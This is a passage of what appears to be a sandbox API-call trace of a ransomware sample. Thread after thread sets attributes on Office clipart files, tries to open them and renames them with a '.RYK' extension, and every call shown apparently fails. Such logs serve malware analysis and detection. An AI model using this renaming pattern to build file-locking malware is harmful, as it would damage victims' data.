	[0244.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF", dwFileAttributes=0x80) returned 0
	[0244.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.732] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2475
	os_tid = 0x2c6c

	[0244.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF", dwFileAttributes=0x80) returned 0
	[0244.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.731] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2476
	os_tid = 0x2c70

	[0244.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF", dwFileAttributes=0x80) returned 0
	[0244.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.893] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.893] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2477
	os_tid = 0x2c74

	[0244.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF", dwFileAttributes=0x80) returned 0
	[0244.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.978] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2478
	os_tid = 0x2c78

	[0244.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF", dwFileAttributes=0x80) returned 0
	[0244.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.979] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.979] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2479
	os_tid = 0x2c7c

	[0244.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF", dwFileAttributes=0x80) returned 0
	[0244.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.980] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2480
	os_tid = 0x2c80

	[0244.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF", dwFileAttributes=0x80) returned 0
	[0244.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.981] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.981] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2481
	os_tid = 0x2c84

	[0244.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF", dwFileAttributes=0x80) returned 0
	[0244.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.982] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2482
	os_tid = 0x2c88

	[0244.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF", dwFileAttributes=0x80) returned 0
	[0244.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.983] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2483
	os_tid = 0x2c8c

	[0244.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF", dwFileAttributes=0x80) returned 0
	[0244.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2484
	os_tid = 0x2c90

	[0244.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF", dwFileAttributes=0x80) returned 0
	[0244.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.986] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2485
	os_tid = 0x2c94

	[0244.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF", dwFileAttributes=0x80) returned 0
	[0244.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.987] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2486
	os_tid = 0x2c98

	[0244.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF", dwFileAttributes=0x80) returned 0
	[0244.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.988] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2487
	os_tid = 0x2c9c

	[0244.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF", dwFileAttributes=0x80) returned 0
	[0244.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.013] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2488
	os_tid = 0x2ca0

	[0244.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF", dwFileAttributes=0x80) returned 0
	[0244.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.012] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2489
	os_tid = 0x2ca4

	[0244.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF", dwFileAttributes=0x80) returned 0
	[0244.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.011] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2490
	os_tid = 0x2ca8

	[0244.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF", dwFileAttributes=0x80) returned 0
	[0244.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.010] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2491
	os_tid = 0x2cac

	[0244.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF", dwFileAttributes=0x80) returned 0
	[0244.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.008] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2492
	os_tid = 0x2cb0

	[0244.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF", dwFileAttributes=0x80) returned 0
	[0244.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.007] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2493
	os_tid = 0x2cb4

	[0244.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF", dwFileAttributes=0x80) returned 0
	[0244.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.006] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2494
	os_tid = 0x2cb8

	[0244.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF", dwFileAttributes=0x80) returned 0
	[0244.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2495
	os_tid = 0x2cbc

	[0244.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF", dwFileAttributes=0x80) returned 0
	[0244.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.004] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2496
	os_tid = 0x2cc0

	[0244.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF", dwFileAttributes=0x80) returned 0
	[0244.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.003] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2497
	os_tid = 0x2cc4

	[0244.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF", dwFileAttributes=0x80) returned 0
	[0244.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.002] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2498
	os_tid = 0x2cc8

	[0244.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF", dwFileAttributes=0x80) returned 0
	[0244.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2499
	os_tid = 0x2ccc

	[0244.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF", dwFileAttributes=0x80) returned 0
	[0244.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.000] CloseHandle (hObject=0xffffffffffffffff) returned 0
